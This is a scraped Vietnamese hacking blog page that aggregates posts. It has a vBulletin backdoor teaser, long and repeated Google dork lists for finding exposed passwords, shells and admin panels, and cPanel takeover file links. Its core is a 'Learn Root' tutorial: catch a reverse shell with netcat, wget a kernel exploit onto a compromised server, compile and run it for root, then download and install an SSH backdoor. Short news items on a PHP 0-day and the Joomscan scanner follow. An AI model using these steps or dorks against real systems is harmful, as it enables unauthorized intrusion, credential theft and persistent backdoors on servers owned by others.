Soft mien phi ,hoc tap ,hack website,hack game,tai lieu aptech,du an,project thong tin dai hoc ,ung dung androind
Sunday, October 28, 2012
Chèn Backdoor vào VBB nhanh-gọn-nhẹ-hiệu quả
Hello, hnay DuyK sẽ hướng dẫn các bạn cách chèn 1 “cửa sau” vào VBB nhanh-gọn-nhẹ-hiệu quả:
Khi bạn đã login vào được admincp của 1 forum vbb nào đó, bạn muốn để lại 1 “cửa sau” trên website này 1 cách kín đáo nhất ?
READ MORE »
Khi bạn đã login vào được admincp của 1 forum vbb nào đó, bạn muốn để lại 1 “cửa sau” trên website này 1 cách kín đáo nhất ?
READ MORE »
CRLF Injection by Un_N0n Antil0g
Biography of Author
Gurender Singh A.K.A Un_N0n Antil0g is Learner and Independent IT security researcher , currently working with Team Indi HeX And ICP Helping new people in field of hacking and security. He is Admin of Team Indi HeX. And Admin of Indian Cyber Police with Nipun jaswal , Chetan Soni , COde InjectOr.
BRIEF INTRODUCTION
CRLF Injection Vulnerability is a web application vulnerability happens due to direct passing of user entered data to the response header fields like (Location, Set-Cookie and ETC) without proper sanitations, which can result in various forms of security exploits. Security exploits range from XSS, Cache-Poisoning, Cache-based defacement, page injection and ETC.
Download the paper from Here
Google Hacking DataBase (GHDB)
Google Hacking involves using advance operators in the Google search engine to locate specific strings of text within search results. Some of the more popular examples are finding specific ver- sions of vulnerable Web applications. The following search query would locate all web pages that have that particular text contained within them. It is normal for default installations of applications to include their running version in every page they serve, e.g., "Powered by XOOPS 2.2.3 Final".
The following search query will locate all websites that have the words "admbook" and "version" in the title of the website. It also checks to ensure that the web page being accessed is a PHP file:
intitle:admbook intitle:version filetype:php
Another technique is searching for insecure coding practices in the public code indexed by Google Code Search or other source code search engines. One can even retrieve the username and pass- word list from Microsoft FrontPage servers by inputting the given microscript in Google search field:
"#-Frontpage-" inurl:administrators.pwd
Devices connected to the Internet can be found. A search string such as inurl:"ViewerFrame?Mode =" will find public web cameras.
(intitle:"SHOUTcast Administrator")|(intext:"U SHOUTcast D.N.A.S. Status")
(intitle:"WordPress › Setup Configuration File")|(inurl:"setup-config.php?step=")
"index of /" ( upload.cfm | upload.asp | upload.php | upload.cgi | upload.jsp | upload.pl )
"Please re-enter your password It must match exactly"
inurl:"tmtrack.dll?"
inurl:polly/CP
intitle:"net2ftp" "powered by net2ftp" inurl:ftp OR intext:login OR inurl:login
intitle:MyShell 1.1.0 build 20010923
intitle:"YALA: Yet Another LDAP Administrator"
intitle:"ERROR: The requested URL could not be retrieved" "While trying to retrieve the URL" "The following error was encountered:"
inurl:"phpOracleAdmin/php" -download -cvs
PHPKonsole PHPShell filetype:php -echo
filetype:php HAXPLORER "Server Files Browser"
inurl:ConnectComputer/precheck.htm | inurl:Remote/logon.aspx
(inurl:81/cgi-bin/.cobalt/) | (intext:"Welcome to the Cobalt RaQ")
intitle:"Web Data Administrator - Login"
"adding new user" inurl:addnewuser -"there are no domains"
PHP Shell (unprotected)
Public PHP FileManagers
+htpasswd +WS_FTP.LOG filetype:log
intitle:admin intitle:login
site:extremetracking.com inurl:"login="
intext:"SteamUserPassphrase=" intext:"SteamAppUser=" -"username" -"user"
OWA Public folders & Address book
filetype:conf inurl:proftpd.conf -sample
filetype:log username putty
filetype:reg reg +intext:"internet account manager"
filetype:reg reg HKEY_CURRENT_USER username
+intext:"webalizer" +intext:"Total Usernames" +intext:"Usage Statistics for"
inurl:php inurl:hlstats intext:"Server Username"
index.of perform.ini
"index of" / lck
inurl:admin filetype:asp inurl:userlist
inurl:admin inurl:userlist
sh_history files
bash_history files
allintext:"WebServerX Server at"
intitle:index.of ios -site:cisco.com
intitle:index.of cisco asa -site:cisco.com
intitle:index.of.config
allintitle:"FirstClass Login"
inurl:install.pl intext:"Reading path paramaters" -edu
"Warning: Installation directory exists at" "Powered by Zen Cart" -demo
"Welcome to the directory listing of" "NetworkActiv-Web-Server"
log inurl:linklint filetype:txt -"checking"
"Directory Listing for" "Hosted by Xerver"
intitle:"pictures thumbnails" site:pictures.sprintpcs.com
intitle:"Folder Listing" "Folder Listing" Name Size Date/Time File Folder
intitle:"Backup-Management (phpMyBackup v.0.4 beta * )" -johnny.ihackstuff
intitle:index.of WEB-INF
intitle:index.of /maildir/new/
filetype:ini Desktop.ini intext:mydocs.dll
filetype:torrent torrent
"Index of" rar r01 nfo Modified 2004
"Web File Browser" "Use regular expression"
intitle:"HFS /" +"HttpFileServer"
intitle:upload inurl:upload intext:upload -forum -shop -support -w3c
intitle:"index of" inurl:ftp (pub | incoming)
allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/"
intitle:index.of abyss.conf
intitle:"Index of /CFIDE/" administrator
"Powered by Invision Power File Manager" (inurl:login.php) | (intitle:"Browsing directory /" )
intitle:"index of" "parent directory" "desktop.ini" site:dyndns.org
intext:"Powered By: TotalIndex" intitle:"TotalIndex"
"intitle:Index.Of /" stats merchant cgi-* etc
intitle:"index of" intext:"content.ie5"
intitle:"index of" -inurl:htm -inurl:html mp3
index.of.dcim
intitle:"Directory Listing For" intext:Tomcat -int
intitle:"webadmin - /*" filetype:php directory filename permission
intitle:index.of (inurl:fileadmin | intitle:fileadmin)
intitle:"Index of *" inurl:"my shared folder" size modified
intitle:index.of /AlbumArt_
intext:"d.aspx?id" || inurl:"d.aspx?id"
intitle:index.of (inurl:fileadmin | intitle:fileadmin)
"index of" / picasa.ini
index.of.password
The following search query will locate all websites that have the words "admbook" and "version" in the title of the website. It also checks to ensure that the web page being accessed is a PHP file:
intitle:admbook intitle:version filetype:php
Another technique is searching for insecure coding practices in the public code indexed by Google Code Search or other source code search engines. One can even retrieve the username and pass- word list from Microsoft FrontPage servers by inputting the given microscript in Google search field:
"#-Frontpage-" inurl:administrators.pwd
Devices connected to the Internet can be found. A search string such as inurl:"ViewerFrame?Mode =" will find public web cameras.
Footholds
Examples of queries that can help a hacker gain a foothold into a web server(intitle:"SHOUTcast Administrator")|(intext:"U SHOUTcast D.N.A.S. Status")
(intitle:"WordPress › Setup Configuration File")|(inurl:"setup-config.php?step=")
"index of /" ( upload.cfm | upload.asp | upload.php | upload.cgi | upload.jsp | upload.pl )
"Please re-enter your password It must match exactly"
inurl:"tmtrack.dll?"
inurl:polly/CP
intitle:"net2ftp" "powered by net2ftp" inurl:ftp OR intext:login OR inurl:login
intitle:MyShell 1.1.0 build 20010923
intitle:"YALA: Yet Another LDAP Administrator"
intitle:"ERROR: The requested URL could not be retrieved" "While trying to retrieve the URL" "The following error was encountered:"
inurl:"phpOracleAdmin/php" -download -cvs
PHPKonsole PHPShell filetype:php -echo
filetype:php HAXPLORER "Server Files Browser"
inurl:ConnectComputer/precheck.htm | inurl:Remote/logon.aspx
(inurl:81/cgi-bin/.cobalt/) | (intext:"Welcome to the Cobalt RaQ")
intitle:"Web Data Administrator - Login"
"adding new user" inurl:addnewuser -"there are no domains"
PHP Shell (unprotected)
Public PHP FileManagers
+htpasswd +WS_FTP.LOG filetype:log
intitle:admin intitle:login
Files containing usernames
These files contain usernames, but no passwords... Still, google finding usernames on a web site...site:extremetracking.com inurl:"login="
intext:"SteamUserPassphrase=" intext:"SteamAppUser=" -"username" -"user"
OWA Public folders & Address book
filetype:conf inurl:proftpd.conf -sample
filetype:log username putty
filetype:reg reg +intext:"internet account manager"
filetype:reg reg HKEY_CURRENT_USER username
+intext:"webalizer" +intext:"Total Usernames" +intext:"Usage Statistics for"
inurl:php inurl:hlstats intext:"Server Username"
index.of perform.ini
"index of" / lck
inurl:admin filetype:asp inurl:userlist
inurl:admin inurl:userlist
sh_history files
bash_history files
Sensitive Directories
Google's collection of web sites sharing sensitive directories. The files contained in here will vary from sesitive to uber-secret!allintext:"WebServerX Server at"
intitle:index.of ios -site:cisco.com
intitle:index.of cisco asa -site:cisco.com
intitle:index.of.config
allintitle:"FirstClass Login"
inurl:install.pl intext:"Reading path paramaters" -edu
"Warning: Installation directory exists at" "Powered by Zen Cart" -demo
"Welcome to the directory listing of" "NetworkActiv-Web-Server"
log inurl:linklint filetype:txt -"checking"
"Directory Listing for" "Hosted by Xerver"
intitle:"pictures thumbnails" site:pictures.sprintpcs.com
intitle:"Folder Listing" "Folder Listing" Name Size Date/Time File Folder
intitle:"Backup-Management (phpMyBackup v.0.4 beta * )" -johnny.ihackstuff
intitle:index.of WEB-INF
intitle:index.of /maildir/new/
filetype:ini Desktop.ini intext:mydocs.dll
filetype:torrent torrent
"Index of" rar r01 nfo Modified 2004
"Web File Browser" "Use regular expression"
intitle:"HFS /" +"HttpFileServer"
intitle:upload inurl:upload intext:upload -forum -shop -support -w3c
intitle:"index of" inurl:ftp (pub | incoming)
allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/"
intitle:index.of abyss.conf
intitle:"Index of /CFIDE/" administrator
"Powered by Invision Power File Manager" (inurl:login.php) | (intitle:"Browsing directory /" )
intitle:"index of" "parent directory" "desktop.ini" site:dyndns.org
intext:"Powered By: TotalIndex" intitle:"TotalIndex"
"intitle:Index.Of /" stats merchant cgi-* etc
intitle:"index of" intext:"content.ie5"
intitle:"index of" -inurl:htm -inurl:html mp3
index.of.dcim
intitle:"Directory Listing For" intext:Tomcat -int
intitle:"webadmin - /*" filetype:php directory filename permission
intitle:index.of (inurl:fileadmin | intitle:fileadmin)
intitle:"Index of *" inurl:"my shared folder" size modified
intitle:index.of /AlbumArt_
intext:"d.aspx?id" || inurl:"d.aspx?id"
intitle:index.of (inurl:fileadmin | intitle:fileadmin)
"index of" / picasa.ini
index.of.password
Google Hacking DataBase (GHDB)
Google Hacking involves using advance operators in the Google search engine to locate specific strings of text within search results. Some of the more popular examples are finding specific ver- sions of vulnerable Web applications. The following search query would locate all web pages that have that particular text contained within them. It is normal for default installations of applications to include their running version in every page they serve, e.g., "Powered by XOOPS 2.2.3 Final".
The following search query will locate all websites that have the words "admbook" and "version" in the title of the website. It also checks to ensure that the web page being accessed is a PHP file:
intitle:admbook intitle:version filetype:php
Another technique is searching for insecure coding practices in the public code indexed by Google Code Search or other source code search engines. One can even retrieve the username and pass- word list from Microsoft FrontPage servers by inputting the given microscript in Google search field:
"#-Frontpage-" inurl:administrators.pwd
Devices connected to the Internet can be found. A search string such as inurl:"ViewerFrame?Mode =" will find public web cameras.
(intitle:"SHOUTcast Administrator")|(intext:"U SHOUTcast D.N.A.S. Status")
(intitle:"WordPress › Setup Configuration File")|(inurl:"setup-config.php?step=")
"index of /" ( upload.cfm | upload.asp | upload.php | upload.cgi | upload.jsp | upload.pl )
"Please re-enter your password It must match exactly"
inurl:"tmtrack.dll?"
inurl:polly/CP
intitle:"net2ftp" "powered by net2ftp" inurl:ftp OR intext:login OR inurl:login
intitle:MyShell 1.1.0 build 20010923
intitle:"YALA: Yet Another LDAP Administrator"
intitle:"ERROR: The requested URL could not be retrieved" "While trying to retrieve the URL" "The following error was encountered:"
inurl:"phpOracleAdmin/php" -download -cvs
PHPKonsole PHPShell filetype:php -echo
filetype:php HAXPLORER "Server Files Browser"
inurl:ConnectComputer/precheck.htm | inurl:Remote/logon.aspx
(inurl:81/cgi-bin/.cobalt/) | (intext:"Welcome to the Cobalt RaQ")
intitle:"Web Data Administrator - Login"
"adding new user" inurl:addnewuser -"there are no domains"
PHP Shell (unprotected)
Public PHP FileManagers
+htpasswd +WS_FTP.LOG filetype:log
intitle:admin intitle:login
site:extremetracking.com inurl:"login="
intext:"SteamUserPassphrase=" intext:"SteamAppUser=" -"username" -"user"
OWA Public folders & Address book
filetype:conf inurl:proftpd.conf -sample
filetype:log username putty
filetype:reg reg +intext:"internet account manager"
filetype:reg reg HKEY_CURRENT_USER username
+intext:"webalizer" +intext:"Total Usernames" +intext:"Usage Statistics for"
inurl:php inurl:hlstats intext:"Server Username"
index.of perform.ini
"index of" / lck
inurl:admin filetype:asp inurl:userlist
inurl:admin inurl:userlist
sh_history files
bash_history files
allintext:"WebServerX Server at"
intitle:index.of ios -site:cisco.com
intitle:index.of cisco asa -site:cisco.com
intitle:index.of.config
allintitle:"FirstClass Login"
inurl:install.pl intext:"Reading path paramaters" -edu
"Warning: Installation directory exists at" "Powered by Zen Cart" -demo
"Welcome to the directory listing of" "NetworkActiv-Web-Server"
log inurl:linklint filetype:txt -"checking"
"Directory Listing for" "Hosted by Xerver"
intitle:"pictures thumbnails" site:pictures.sprintpcs.com
intitle:"Folder Listing" "Folder Listing" Name Size Date/Time File Folder
intitle:"Backup-Management (phpMyBackup v.0.4 beta * )" -johnny.ihackstuff
intitle:index.of WEB-INF
intitle:index.of /maildir/new/
filetype:ini Desktop.ini intext:mydocs.dll
filetype:torrent torrent
"Index of" rar r01 nfo Modified 2004
"Web File Browser" "Use regular expression"
intitle:"HFS /" +"HttpFileServer"
intitle:upload inurl:upload intext:upload -forum -shop -support -w3c
intitle:"index of" inurl:ftp (pub | incoming)
allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/"
intitle:index.of abyss.conf
intitle:"Index of /CFIDE/" administrator
"Powered by Invision Power File Manager" (inurl:login.php) | (intitle:"Browsing directory /" )
intitle:"index of" "parent directory" "desktop.ini" site:dyndns.org
intext:"Powered By: TotalIndex" intitle:"TotalIndex"
"intitle:Index.Of /" stats merchant cgi-* etc
intitle:"index of" intext:"content.ie5"
intitle:"index of" -inurl:htm -inurl:html mp3
index.of.dcim
intitle:"Directory Listing For" intext:Tomcat -int
intitle:"webadmin - /*" filetype:php directory filename permission
intitle:index.of (inurl:fileadmin | intitle:fileadmin)
intitle:"Index of *" inurl:"my shared folder" size modified
intitle:index.of /AlbumArt_
intext:"d.aspx?id" || inurl:"d.aspx?id"
intitle:index.of (inurl:fileadmin | intitle:fileadmin)
"index of" / picasa.ini
index.of.password
The following search query will locate all websites that have the words "admbook" and "version" in the title of the website. It also checks to ensure that the web page being accessed is a PHP file:
intitle:admbook intitle:version filetype:php
Another technique is searching for insecure coding practices in the public code indexed by Google Code Search or other source code search engines. One can even retrieve the username and pass- word list from Microsoft FrontPage servers by inputting the given microscript in Google search field:
"#-Frontpage-" inurl:administrators.pwd
Devices connected to the Internet can be found. A search string such as inurl:"ViewerFrame?Mode =" will find public web cameras.
Footholds
Examples of queries that can help a hacker gain a foothold into a web server(intitle:"SHOUTcast Administrator")|(intext:"U SHOUTcast D.N.A.S. Status")
(intitle:"WordPress › Setup Configuration File")|(inurl:"setup-config.php?step=")
"index of /" ( upload.cfm | upload.asp | upload.php | upload.cgi | upload.jsp | upload.pl )
"Please re-enter your password It must match exactly"
inurl:"tmtrack.dll?"
inurl:polly/CP
intitle:"net2ftp" "powered by net2ftp" inurl:ftp OR intext:login OR inurl:login
intitle:MyShell 1.1.0 build 20010923
intitle:"YALA: Yet Another LDAP Administrator"
intitle:"ERROR: The requested URL could not be retrieved" "While trying to retrieve the URL" "The following error was encountered:"
inurl:"phpOracleAdmin/php" -download -cvs
PHPKonsole PHPShell filetype:php -echo
filetype:php HAXPLORER "Server Files Browser"
inurl:ConnectComputer/precheck.htm | inurl:Remote/logon.aspx
(inurl:81/cgi-bin/.cobalt/) | (intext:"Welcome to the Cobalt RaQ")
intitle:"Web Data Administrator - Login"
"adding new user" inurl:addnewuser -"there are no domains"
PHP Shell (unprotected)
Public PHP FileManagers
+htpasswd +WS_FTP.LOG filetype:log
intitle:admin intitle:login
Files containing usernames
These files contain usernames, but no passwords... Still, google finding usernames on a web site...site:extremetracking.com inurl:"login="
intext:"SteamUserPassphrase=" intext:"SteamAppUser=" -"username" -"user"
OWA Public folders & Address book
filetype:conf inurl:proftpd.conf -sample
filetype:log username putty
filetype:reg reg +intext:"internet account manager"
filetype:reg reg HKEY_CURRENT_USER username
+intext:"webalizer" +intext:"Total Usernames" +intext:"Usage Statistics for"
inurl:php inurl:hlstats intext:"Server Username"
index.of perform.ini
"index of" / lck
inurl:admin filetype:asp inurl:userlist
inurl:admin inurl:userlist
sh_history files
bash_history files
Sensitive Directories
Google's collection of web sites sharing sensitive directories. The files contained in here will vary from sesitive to uber-secret!allintext:"WebServerX Server at"
intitle:index.of ios -site:cisco.com
intitle:index.of cisco asa -site:cisco.com
intitle:index.of.config
allintitle:"FirstClass Login"
inurl:install.pl intext:"Reading path paramaters" -edu
"Warning: Installation directory exists at" "Powered by Zen Cart" -demo
"Welcome to the directory listing of" "NetworkActiv-Web-Server"
log inurl:linklint filetype:txt -"checking"
"Directory Listing for" "Hosted by Xerver"
intitle:"pictures thumbnails" site:pictures.sprintpcs.com
intitle:"Folder Listing" "Folder Listing" Name Size Date/Time File Folder
intitle:"Backup-Management (phpMyBackup v.0.4 beta * )" -johnny.ihackstuff
intitle:index.of WEB-INF
intitle:index.of /maildir/new/
filetype:ini Desktop.ini intext:mydocs.dll
filetype:torrent torrent
"Index of" rar r01 nfo Modified 2004
"Web File Browser" "Use regular expression"
intitle:"HFS /" +"HttpFileServer"
intitle:upload inurl:upload intext:upload -forum -shop -support -w3c
intitle:"index of" inurl:ftp (pub | incoming)
allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/"
intitle:index.of abyss.conf
intitle:"Index of /CFIDE/" administrator
"Powered by Invision Power File Manager" (inurl:login.php) | (intitle:"Browsing directory /" )
intitle:"index of" "parent directory" "desktop.ini" site:dyndns.org
intext:"Powered By: TotalIndex" intitle:"TotalIndex"
"intitle:Index.Of /" stats merchant cgi-* etc
intitle:"index of" intext:"content.ie5"
intitle:"index of" -inurl:htm -inurl:html mp3
index.of.dcim
intitle:"Directory Listing For" intext:Tomcat -int
intitle:"webadmin - /*" filetype:php directory filename permission
intitle:index.of (inurl:fileadmin | intitle:fileadmin)
intitle:"Index of *" inurl:"my shared folder" size modified
intitle:index.of /AlbumArt_
intext:"d.aspx?id" || inurl:"d.aspx?id"
intitle:index.of (inurl:fileadmin | intitle:fileadmin)
"index of" / picasa.ini
index.of.password
Cách chiếm cPanel 1 Server
Tải lên sy_conf.pl & htaccess và chmod cả 755
Tải lên B-F.php trong một thư mục khác nhau
Tải lên B-F.php trong một thư mục khác nhau
.htaccess
http://www.mediafire.com/?4pm551dxidq6zc2
Sy_Conf.pl
http://www.mediafire.com/?r4kkj92ij77r1sf
B-F.php
http://www.mediafire.com/?s58tulka2kmu1d7
Cách chiếm cPanel 1 Server
Tải lên sy_conf.pl & htaccess và chmod cả 755
Tải lên B-F.php trong một thư mục khác nhau
Tải lên B-F.php trong một thư mục khác nhau
.htaccess
http://www.mediafire.com/?4pm551dxidq6zc2
Sy_Conf.pl
http://www.mediafire.com/?r4kkj92ij77r1sf
B-F.php
http://www.mediafire.com/?s58tulka2kmu1d7
Learn Root - Totally Explaind
★☆★ With the Name of ALLAH, who gave me the Power of Knowledge ! ★☆★
Hey ABH, I am Kr4L BeN!M from security Leechers Team and i am going to teach you all about rooting linux boxes and linux knowledge that you must know if you are hacker :)
[Thanks to All Pakistani and Palestine Hackers ]

#So Lets Start...
These are Some Basic Questions asked by myself as a n00b :P
# What is rooting ?
A. Getting access to the user => "root", the main admin of the site.
# What is the need of rooting ?
A. Getting master admin privillages of Servers :)
Things you need
# A Shell on a Website
# An Exploit
# Log cleaner
# Ssh Backdoor
# Netcat
# A Brain
Simply you can seach on http://www.google.com for these, except BRAIN and SHELL :)
Getting Back Connection to the servers
Open command prompt, and go to NetCat Path, Type
"cd netcat.exe"
ok Open your Shell in your browser, go to the back connection tab, if it is not there get a shell like "WSO 2.3" or Any other
thats your choice....
Specify your "ip & port as 2121". press connect, now you'll get a shell to the server, you can give commands to the server through that shell.
now came back to netcat and type "nc -l -v -p 2121"
it will give you this output:
Code:
c:\netcat>nc -l -v -p 2121
listening on [any] 2121 ...
Getting a Right exploit for the servers
Type : Uname -a & hit enter.
It'll look something like this:
Code:
[admin@www.target.com /home/saijyoti/public_html/cgi-bin]$ uname -a
Linux dualxeon09.ns5.999servers.com 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9 12:54:20 EST 2010 x86_64 x86_64 x86_64 GNU/Linux
You have noted, It shows the kernal version of the server is: 2.6.18-194.26.1.el5
& Year is 2010.
You need to find a perfect exploit for it. you can find them at:-
$ Exploit-db.com
$ Packetstormsecurity.org
$ Th3-0utl4ws.com
$ Leetupload.com
Compiling & executing exploits
Now I've got a exploit, & it is written in C. So I can't execute it by just uploading. but I need to compile it.
Before proceeding further, Cd into the tmp directory, because it is always writable. So type: Cd /home/XXXXX/public_html/tmp
// The path may be different, replace it with yours.
So first I'll get the exploit on the server, So I type : Wget http://exploitsite.net/2010-exploits/exploit.c
// Note: There is no such site, I'm just taking it to show you.
It'll look something Like this:-
Code:
admin@www.target.com /home/target_usernemr/public_html/tmp]$ wget http://exploitsite.net/2010-exploits/exploit.c
--2011-01-25 08:21:43-- http://exploitsite.net/2010-exploits/exploit.c
Resolving www.exploitsite.net... 199.58.192.192
Connecting to www.exploitsite.net|199.58.192.192|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15088 (15K) [text/x-csrc]
Saving to: `exploit.c'
now change the permission of the exploit to 777.
Type: "Chmod 777 exploit.c"
Now the exploit is On my server, I just need to compile & execute it.
So, I'll give the command: "gcc -o exploit exploit.c"
It'll compile & save the exploit as >> exploit
Next step is to execute it So we'll type: "./exploit"
here it'll show different process...
: #
: #
got root you m0f0 !! [<example]
Now it say got root. Let's Check is it true,
Type: "whoami"
then it will say "root"
like: uid=0(root) gid=0(root) groups=0(root)
type "su" to get full privilages !
Installing Backdoors
type: "Wget http://www.urlofbackdoor.com/sshdoor.zip"
Then Type,
Unzip Sshdoor.zip
Then, => Cd sshdoor
Then type, ./run pass port
^ replace pass with your password, & a port.
Now connect with putty & enjoy root privileges. ;)
Methods to execute exploits written in other languages
C exploit
----------------------
gcc -o exploit exploit.c
chmod +x exploit
./exploit
----------------------
Perl Exploits
---------------
perl exploit.pl
---------------
Python
------------------
python exploit.py
------------------
php
-----------------
php exploit.php
-----------------
zip
----------------
unzip exploit.zip
./run
----------------
All Questions are Welcome
Hey ABH, I am Kr4L BeN!M from security Leechers Team and i am going to teach you all about rooting linux boxes and linux knowledge that you must know if you are hacker :)
[Thanks to All Pakistani and Palestine Hackers ]
#So Lets Start...
These are Some Basic Questions asked by myself as a n00b :P
# What is rooting ?
A. Getting access to the user => "root", the main admin of the site.
# What is the need of rooting ?
A. Getting master admin privillages of Servers :)
Things you need
# A Shell on a Website
# An Exploit
# Log cleaner
# Ssh Backdoor
# Netcat
# A Brain
Simply you can seach on http://www.google.com for these, except BRAIN and SHELL :)
Getting Back Connection to the servers
Open command prompt, and go to NetCat Path, Type
"cd netcat.exe"
ok Open your Shell in your browser, go to the back connection tab, if it is not there get a shell like "WSO 2.3" or Any other
thats your choice....
Specify your "ip & port as 2121". press connect, now you'll get a shell to the server, you can give commands to the server through that shell.
now came back to netcat and type "nc -l -v -p 2121"
it will give you this output:
Code:
c:\netcat>nc -l -v -p 2121
listening on [any] 2121 ...
Getting a Right exploit for the servers
Type : Uname -a & hit enter.
It'll look something like this:
Code:
[admin@www.target.com /home/saijyoti/public_html/cgi-bin]$ uname -a
Linux dualxeon09.ns5.999servers.com 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9 12:54:20 EST 2010 x86_64 x86_64 x86_64 GNU/Linux
You have noted, It shows the kernal version of the server is: 2.6.18-194.26.1.el5
& Year is 2010.
You need to find a perfect exploit for it. you can find them at:-
$ Exploit-db.com
$ Packetstormsecurity.org
$ Th3-0utl4ws.com
$ Leetupload.com
Compiling & executing exploits
Now I've got a exploit, & it is written in C. So I can't execute it by just uploading. but I need to compile it.
Before proceeding further, Cd into the tmp directory, because it is always writable. So type: Cd /home/XXXXX/public_html/tmp
// The path may be different, replace it with yours.
So first I'll get the exploit on the server, So I type : Wget http://exploitsite.net/2010-exploits/exploit.c
// Note: There is no such site, I'm just taking it to show you.
It'll look something Like this:-
Code:
admin@www.target.com /home/target_usernemr/public_html/tmp]$ wget http://exploitsite.net/2010-exploits/exploit.c
--2011-01-25 08:21:43-- http://exploitsite.net/2010-exploits/exploit.c
Resolving www.exploitsite.net... 199.58.192.192
Connecting to www.exploitsite.net|199.58.192.192|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15088 (15K) [text/x-csrc]
Saving to: `exploit.c'
now change the permission of the exploit to 777.
Type: "Chmod 777 exploit.c"
Now the exploit is On my server, I just need to compile & execute it.
So, I'll give the command: "gcc -o exploit exploit.c"
It'll compile & save the exploit as >> exploit
Next step is to execute it So we'll type: "./exploit"
here it'll show different process...
: #
: #
got root you m0f0 !! [<example]
Now it say got root. Let's Check is it true,
Type: "whoami"
then it will say "root"
like: uid=0(root) gid=0(root) groups=0(root)
type "su" to get full privilages !
Installing Backdoors
type: "Wget http://www.urlofbackdoor.com/sshdoor.zip"
Then Type,
Unzip Sshdoor.zip
Then, => Cd sshdoor
Then type, ./run pass port
^ replace pass with your password, & a port.
Now connect with putty & enjoy root privileges. ;)
Methods to execute exploits written in other languages
C exploit
----------------------
gcc -o exploit exploit.c
chmod +x exploit
./exploit
----------------------
Perl Exploits
---------------
perl exploit.pl
---------------
Python
------------------
python exploit.py
------------------
php
-----------------
php exploit.php
-----------------
zip
----------------
unzip exploit.zip
./run
----------------
All Questions are Welcome
Kr4L From Team Security Leechers @ ABH
This tut is made by me, Please dont Post anywhere !
Just fo Education Purpose !!
This tut is made by me, Please dont Post anywhere !
Just fo Education Purpose !!
Knowledge and practice are twins,
and both go together.
There is no knowledge without practice,
and no practice without knowledge.
and both go together.
There is no knowledge without practice,
and no practice without knowledge.
Xuất hiện mã khai thác từ xa lỗi 0-day mới của PHP 5.4.3 trên Windows
Vào hôm qua 18/05, một thành viên có nickname là 0in đã gửi lên trang packetstormsecurity.org một mã khai thác từ xa (remote exploit) lợi dụng lỗ hổng trong hàm com_print_typeinfo của PHP phiên bản 5.4.3 dành cho nền tảng Windows.
Trong phần ghi chú, 0in là tác giả của mã khai thác này cho biết, anh ta đã thử nghiệm thành công trên máy Windows XP SP3 được cập nhật đầy đủ các bản vá. Và kết quả là PHP engine sẽ thực thi bất kỳ shellcode nào được chứa trong mã khai thác này.
Hiện vẫn chưa có thông báo và bản vá lỗi chính thức nào từ nhóm phát triển PHP cho lỗi 0-day mới nhất này, nhưng dưới đây là một số biện pháp để hạn chế các rủi ro khác:
• Chặn tất cả các chức năng upload file trong các ứng dụng PHP.
• Sử dụng IPS để lọc các shellcode đã được biết đến, ví dụ các shellcode có trong Metasploit.
• Cập nhật PHP lên phiên bản mới nhất để phòng chống các lỗ hổng khác như CVE-2012-2336 được công bố vào đầu tháng này.
• Sử dụng Host-IPS để chặn bất kỳ các lỗi buffer overflow có thể có trong hệ thống.
(Theo Internet Storm Center (ISC))
Tham khảo:
http://isc.sans.edu/...PoC+in+the+wild
http://packetstormse...rg/files/112851
Nguồn: http://www.hvaonline.../list/42355.hva
Trong phần ghi chú, 0in là tác giả của mã khai thác này cho biết, anh ta đã thử nghiệm thành công trên máy Windows XP SP3 được cập nhật đầy đủ các bản vá. Và kết quả là PHP engine sẽ thực thi bất kỳ shellcode nào được chứa trong mã khai thác này.
Hiện vẫn chưa có thông báo và bản vá lỗi chính thức nào từ nhóm phát triển PHP cho lỗi 0-day mới nhất này, nhưng dưới đây là một số biện pháp để hạn chế các rủi ro khác:
• Chặn tất cả các chức năng upload file trong các ứng dụng PHP.
• Sử dụng IPS để lọc các shellcode đã được biết đến, ví dụ các shellcode có trong Metasploit.
• Cập nhật PHP lên phiên bản mới nhất để phòng chống các lỗ hổng khác như CVE-2012-2336 được công bố vào đầu tháng này.
• Sử dụng Host-IPS để chặn bất kỳ các lỗi buffer overflow có thể có trong hệ thống.
(Theo Internet Storm Center (ISC))
Tham khảo:
http://isc.sans.edu/...PoC+in+the+wild
http://packetstormse...rg/files/112851
Nguồn: http://www.hvaonline.../list/42355.hva
[Tool] Joomscan Security Scanner - Update 611 lỗ hổng của Joomla
Hi All,
Nhóm Web-center Security Team của Slovenia vừa update phiên bản mới cho công cụ quét lỗ hổng mang tên Joomscan.
Joomscan là công cụ nhỏ gọn viết bằng ngôn ngữ PERL,dùng scan ứng dụng Joomla.
Ở lần update này,database lỗ hổng đã tăng lên 611 vuls so với 550 vuls vào tháng 11 năm ngoái.
Có thể update thông qua command-line (terminal) bằng lệnh :
Cú pháp sử dụng khá đơn giản :
VD:
- Để scan website uns.vn ta sử dụng : ./joomscan.pl -u uns.vn
- Chi tiết các options : ./joomscan.pl
_LINK DOWNLOAD :
- Windows : http://web-center.si...an/joomscan.rar
- Linux : http://web-center.si...joomscan.tar.gz
Các bạn có thể download source về để optimize và bỏ vào toolbox.
Nhóm Web-center Security Team của Slovenia vừa update phiên bản mới cho công cụ quét lỗ hổng mang tên Joomscan.
Joomscan là công cụ nhỏ gọn viết bằng ngôn ngữ PERL,dùng scan ứng dụng Joomla.
Ở lần update này,database lỗ hổng đã tăng lên 611 vuls so với 550 vuls vào tháng 11 năm ngoái.
Có thể update thông qua command-line (terminal) bằng lệnh :
./joomscan.pl update
Cú pháp sử dụng khá đơn giản :
VD:
- Để scan website uns.vn ta sử dụng : ./joomscan.pl -u uns.vn
- Chi tiết các options : ./joomscan.pl
_LINK DOWNLOAD :
- Windows : http://web-center.si...an/joomscan.rar
- Linux : http://web-center.si...joomscan.tar.gz
Các bạn có thể download source về để optimize và bỏ vào toolbox.
Lỗi 0-day 4 năm tuổi của Oracle vẫn chưa được vá
Mã khai thác lỗi 0-day 4 năm tuổi của Oracle Database đặt người dùng vào tình thế rất nguy hại!
Nguồn: http://www.hvaonline.../list/42263.hva
Nguồn: http://www.hvaonline.../list/42263.hva
